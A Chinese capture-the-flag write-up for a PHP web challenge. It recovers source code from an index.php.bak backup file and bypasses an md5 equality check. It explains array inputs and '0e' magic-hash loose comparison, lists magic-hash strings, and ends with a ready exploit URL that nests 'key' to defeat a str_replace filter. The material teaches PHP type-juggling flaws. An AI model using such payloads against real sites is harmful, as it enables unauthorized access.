备份是个好习惯(80):http://123.206.87.240:8002/web16/
打开就一串编码。
源码什么都没有,尝试各种解码都没用。
遂谷歌。知道了index.php.bak是备份文件,下载打开后。源码出来了
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0); //ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效 ‘display_errors':设置错误信息的类别。
$str = strstr($_SERVER['REQUEST_URI'], '?');//返回 "?" 及以后的字符串
$str = substr($str,1); //返回第2个及以后的字符串
$str = str_replace('key','',$str);//把$str里的key换成空
parse_str($str); //查询字符串解析到变量中
echo md5($key1); //
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
最后的if语句表示 md5加密后相等,未加密之前不相等。
但是我想不到有什么值,看别人的:
1,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2,利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
而且需要注意的是,连续的key会被 空 替换,所以
http://123.206.87.240:8002/web16/index.php?kkeyey1=240610708&kekeyy2=s878926199a